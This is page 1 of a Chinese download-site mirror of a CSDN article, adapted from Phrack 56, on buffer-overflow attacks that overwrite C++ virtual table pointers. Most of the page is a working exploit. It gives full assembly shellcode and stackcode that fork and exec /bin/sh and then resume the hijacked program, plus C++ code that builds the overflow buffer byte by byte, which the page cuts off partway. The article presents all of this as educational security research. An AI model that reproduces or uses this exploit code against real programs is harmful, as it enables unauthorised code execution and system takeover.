⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 csdn_文档中心_突破c++的虚拟指针--c++程序的缓冲区溢出攻击.htm

📁 csdn10年中间经典帖子
💻 HTM
📖 第 1 页 / 共 5 页
字号:
      MyClass1对象实例的Buffer。    P 指向MyClass1对象实例的指针。    X MyClass3对象实例的VPTR指针。    
      Y MyClass1对象实例的VPTR指针。 
        在这种技术中,它并不取决于编译器对类结构的处理(VPTR的偏移),但取决于程序员所定义的类结构。因此它对于在内存中把VPTR放在对象实例前的编译器(如Visual 
      C++)也是有效的。另外,在本例中,MyClass3对象类有可能会被作为本地对象而在堆栈中创建,这就使得地址的确定相对容易多了,因为对象实例的地址很可能是固定的。然而,在这种情况下,栈必须允许执行,而不象上例那样需要堆可执行。 
        确定BufferOverflow()函数中的两个参数值(填充VTABLE地址数量NAddress,VPTR的偏移量VPTROffset)并不件困难的事,因为通过调试程序就不难发现它们。但是第一个参数(对象实例在内存中的地址BufferAddress)却不容易得到(在没有源程序代码的情况下)。 
      ---[[ 进阶,进阶,再进阶 ]]-------------------------------------- 
        假如一个类中的最后一个变量存在缓冲区溢出漏洞,那只需向该缓冲区填充N(缓冲区大小为N) + 
      4字节。这样除了进程中该缓冲区、VPTR及其后的字符串结束符所占用的内存外不会修改其它内容。 
        对于这种情况,我们可以实现更“强大”的功能:在溢出缓冲区并执行我们的shellcode后,将继续原来程序的运行。 
        更具体的运行过程是首先执行我们的shellcode,然后改写缓冲区中的运行链,再保存(调用我们自己的方法前的)堆栈的状态。这样,我们就可以在最后再调用原来的方法,使原程序能够继续正常运行。 
        在具体的实现过程中需要注意或面对以下问题: -必须完全重写自定义的缓冲区,特别是shellcode部份,以使继续运行时得到适当的数值。  
      我们把shellcode的一部份(尽可能小)复制到另一块内存中。在本例中,我们选择复制到堆栈(这部份代码我们称为“stackcode”)。只要堆栈是可执行的,就不会有什么其它问题了。 
      -在进程中调用fork()产生子进程,以产生shell环境(exec())。父进程等待(wait())子进程退出,然后继续运行。 
      -继续原程序运行的代码地址是不变的,因为这个地址就是被覆盖方法的原入口指针。 - 注意EAX寄存器的使用,它是对象方法的返回值。 
      -由于是字符串缓冲区,不能含有00h字符,必须在运行时产生这些字符。 下图为用于实现上述功能的缓冲区结构和流程图: 
      +------------------------------------<-(1)---------------------------------+ 
      | 我们的VTABLE                              | 
      =+===================                           ==+= 9999TT999999.... MMMM 
      SSSS0000/bin/shAAA.... A BBB... Bnewstring99999.... VVVVL          ==+= 
      ==+=  |   |    | ========           |  |   |   |    |             
      |  +-->--+   |    |    \(堆栈的拷贝)      |         |    |   ========       
      +---(2)-->--------+    |   BBB... B                        |   |   | 
                             +-(3)->+   +--> old method 说明: 9 
      空指令代码(90h)。    T 用于代码生成的数值。    M Shellcode的起始地址。    S 
      “/bin/sh“字符串的起始地址。    0 需要在运行时换算成00h的机器代码。    /bin/sh 命令字符串“/bin/sh“。    A 
      Shellcode,功能是得到shell环境,将stackcode复制到堆栈并运行之。    B 
      Stackcode,功能是用新的字符串替换回缓冲区的内容,并调用原来的方法以恢复原程序的运行。    V 替换的VPTR。    L 
      缓冲区字符串结束符。 
        以下是p56-0x08中给出的shellcode、stackcode源代码。在我的机器中必须经过一些调整才能使用。有兴趣的朋友可以自己研究,以加强理解。 
      -------- cut here -------- pushl %ebp               //save existing EBP 
      movl  %esp,%ebp            //stack frame creation xorl  
      %eax,%eax            //EAX=0 movb  
      $0x31,%al            //EAX=$StackCodeSize (size of the code 
                          // who will be copied to the stack) subl  
      %eax,%esp            //creation of a local variable to 
                          // contain our stackcode pushl %edi pushl %esi 
      pushl %edx pushl %ecx pushl %ebx               //save registers 
      pushf                  //save flags cld                   //direction 
      flag=incrementation xorl  %eax,%eax            //EAX=0 movw  
      $0x101,%ax            //EAX=$AddThis (value added for 
                          // calculating This on the stack) subl  
      %eax,0x8(%ebp)          //we substract this value from the 
                          // current This value on the stack, to 
                          // restore the original This. xorl  
      %eax,%eax            //EAX=0 movl  
      $0x804a874,%edi         //EDI=$BufferAddress+$NullOffset 
                          // (address of NULL dword in our 
                          // buffer) stosl %eax,%es:(%edi)         //we write 
      this NULL in the buffer movl  
      $0x804a87f,%edi         //EDI=$BufferAddress+$BinSh00Offset 
                          // (address of 00h from “/bin/sh“) 
      stosb %al,%es:(%edi)          //we write this 00h at the end of 
                          // “/bin/sh“ movb  $0x2,%al 
      int  $0x80              //fork() xorl  %edx,%edx            //EDX=0 cmpl  
      %edx,%eax jne  0x804a8c1            //if EAX=0 then jump to LFATHER 
                          // (EAX=0 if father process) movb  
      $0xb,%al             //else we are the child process movl  
      $0x804a878,%ebx         //EBX=$BufferAddress+$BinShOffset 
                          // (address of “/bin/sh“) movl  
      $0x804a870,%ecx      //ECX=$BufferAddress+$BinShAddressOffset 
                          // (adresse of address of “/bin/sh“) xorl  
      %edx,%edx            //EDX=0h (NULL) int  $0x80              //exec() 
      “/bin/sh“ LFATHER: movl  %edx,%esi            //ESI=0 movl  
      %edx,%ecx      //ECX=0 movl  %edx,%ebx      //EBX=0 notl  
      %ebx        //EBX=0xFFFFFFFF movl  %edx,%eax      //EAX=0 movb  
      $0x72,%al      //EAX=0x72 int  $0x80              //wait() (wait an exit 
      from the shell) xorl  %ecx,%ecx      //ECX=0 movb  
      $0x31,%cl      //ECX=$StackCodeSize movl  
      $0x804a8e2,%esi      //ESI=$BufferAddress+$StackCodeOffset 
                          // (address of beginning of the                     // 
      stackcode) movl  %ebp,%edi            //EDI point to the end of or local 
                          // variable subl  %ecx,%edi            //EDI point to 
      the beginning of or                     // local variable movl  
      %edi,%edx            //EDX also point to the beginning of 
                          // or local variable repz movsb 
      %ds:(%esi),%es:(%edi)    //copy our stackcode into our local 
                          // variable on the stack jmp  *%edx              //run 
      our stackcode on the stack stackcode: movl  
      $0x804a913,%esi      //ESI=$BufferAddress+$NewBufferOffset 
                          // (point to the new string we want to 
                          // rewrite in the buffer) movl  
      $0x804a860,%edi         //EDI=$BufferAddress (point to the 
                          // beginning of our buffer) xorl  
      %ecx,%ecx      //ECX=0 movb  $0x9,%cl             //ECX=$NewBufferSize 
      (length of the                     // new string) repz movsb 
      %ds:(%esi),%es:(%edi)    //copy the new string at the 
                          // beginning of our buffer xorb  %al,%al        //AL=0 
      stosb %al,%es:(%edi)          //put a 00h at the end of the string movl  
      $0x804a960,%edi      //EDI=$BufferAddress+$VPTROffset 
                          // (address of VPTR) movl  
      $0x8049730,%eax         //EAX=$VTABLEAddress (adresse of the 
                          // original VTABLE from our class) movl  
      %eax,%ebx      //EBX=$VTABLEAddress 
      stosl %eax,%es:(%edi)         //correct the VPTR to point to the 
                          // original VTABLE movb  
      $0x29,%al            //AL=$LastByte (byte following the 
                          // VPTR in memory) stosb %al,%es:(%edi)          //we 
      correct this byte movl  
      0xc(%ebx),%eax      //EAX=*VTABLEAddress+IAddress*4                     // 
      (EAX take the address of the                     // original method in the 
      original                     // VTABLE). popf popl  %ebx popl  %ecx popl  
      %edx popl  %esi popl  %edi               //restore flags and registers 
      movl  %ebp,%esp popl  %ebp               //destroy the stack frame 
      jmp  *%eax              //run the original method - BufferAddress = 
      address of our buffer in memory. - IAddress = index in the VTABLE of the 
      1st method that will be executed. - VPTROffset = offset in our buffer of 
      the VPTR to overwrite. - AddThis = value that will be added to the This 
      pointer on the stack, because of the “strange handling“. - VTABLEAddress = 
      address of the original VTABLE of our class (coded in the executable). - 
      *NewBuffer = a pointer to the new chain that we want to place in our 
      buffer to normally continue the program. - LastByte = the original byte 
      following the VPTR in memory, that is overwritten at the time of the copy 
      of our buffer in the original buffer, because of the 00h. -------- cut 
      here -------- 
        以下是测试程序(bo4.cpp)的源代码,摘自Phrack56-0x08。请有兴趣的朋友自己调试。(在我的机器上,只需要修改几个地方就可以了。) 
      #include <stdio.h> #include <string.h> #include 
      <malloc.h> #define BUFFERSIZE 256 class BaseClass { private: char 
      Buffer[BUFFERSIZE]; public: void SetBuffer(char *String) { 
       strcpy(Buffer,String); } virtual void PrintBuffer() { 
       printf(“%s\n“,Buffer); } }; class MyClass1:public BaseClass { public: 
      void PrintBuffer() {  printf(“MyClass1: “);  BaseClass::PrintBuffer(); } 
      }; class MyClass2:public BaseClass { public: void PrintBuffer() { 
       printf(“MyClass2: “);  BaseClass::PrintBuffer(); } }; char 
      *BufferOverflow(unsigned long BufferAddress,int IAddress,int VPTROffset, 
      unsigned short AddThis,unsigned long VTABLEAddress,char *NewBuffer,char 
      LastByte) { char *CBuf; unsigned long *LBuf; unsigned short *SBuf; char 
      BinShSize,ShellCodeSize,StackCodeSize,NewBufferSize; unsigned long 
      i,  MethodAddressOffset,BinShAddressOffset,NullOffset,BinShOffset,BinSh00Offset, ShellCodeOffset,StackCodeOffset, NewBufferOffset,NewBuffer00Offset, LastByteOffset;  
      char *BinSh=“/bin/sh“; CBuf=(char*)malloc(VPTROffset+4+1); LBuf=(unsigned 
      long*)CBuf; BinShSize=(char)strlen(BinSh); ShellCodeSize=0x62; 
      StackCodeSize=0x91+2-0x62; NewBufferSize=(char)strlen(NewBuffer); 
      MethodAddressOffset=IAddress*4; BinShAddressOffset=MethodAddressOffset+4; 
      NullOffset=MethodAddressOffset+8; BinShOffset=MethodAddressOffset+12; 
      BinSh00Offset=BinShOffset+(unsigned long)BinShSize; 
      ShellCodeOffset=BinSh00Offset+1; StackCodeOffset=ShellCodeOffset+(unsigned 
      long)ShellCodeSize; NewBufferOffset=StackCodeOffset+(unsigned 
      long)StackCodeSize; NewBuffer00Offset=NewBufferOffset+(unsigned 
      long)NewBufferSize; LastByteOffset=VPTROffset+4; for 
      (i=0;i<VPTROffset;i++) CBuf[i]=‘\x90‘; //NOPs SBuf=(unsigned 
      short*)&LBuf[2]; *SBuf=AddThis; //added to the This pointer on the 
      stack LBuf=(unsigned long*)&CBuf[MethodAddressOffset]; 
      *LBuf=BufferAddress+ShellCodeOffset; //shellcode‘s address LBuf=(unsigned 
      long*)&CBuf[BinShAddressOffset]; *LBuf=BufferAddress+BinShOffset; 
      //address of “/bin/sh“ memcpy(&CBuf[BinShOffset],BinSh,BinShSize); 
      //“/bin/sh“ string //shellcode:   i=ShellCodeOffset; 
      CBuf[i++]=‘\x55‘;                  //pushl %ebp 
      CBuf[i++]=‘\x89‘;CBuf[i++]=‘\xE5‘;         //movl %esp,%ebp 
      CBuf[i++]=‘\x31‘;CBuf[i++]=‘\xC0‘;         //xorl %eax,%eax 
      CBuf[i++]=‘\xB0‘;CBuf[i++]=StackCodeSize;      //movb $StackCodeSize,%al 
      CBuf[i++]=‘\x29‘;CBuf[i++]=‘\xC4‘;         //subl %eax,%esp 
      CBuf[i++]=‘\x57‘;                  //pushl %edi 
      CBuf[i++]=‘\x56‘;                  //pushl %esi 
      CBuf[i++]=‘\x52‘;                  //pushl %edx 
      CBuf[i++]=‘\x51

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -